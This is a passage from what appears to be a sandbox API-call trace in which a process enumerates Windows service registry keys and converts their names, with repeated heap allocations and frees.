BaseAddress=0x21f1b68) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.990] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.990] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0250.990] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.990] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.991] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.991] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0250.991] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.992] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0250.992] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.992] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.993] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.993] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.993] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.994] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.994] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0250.994] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0250.995] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0250.996] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 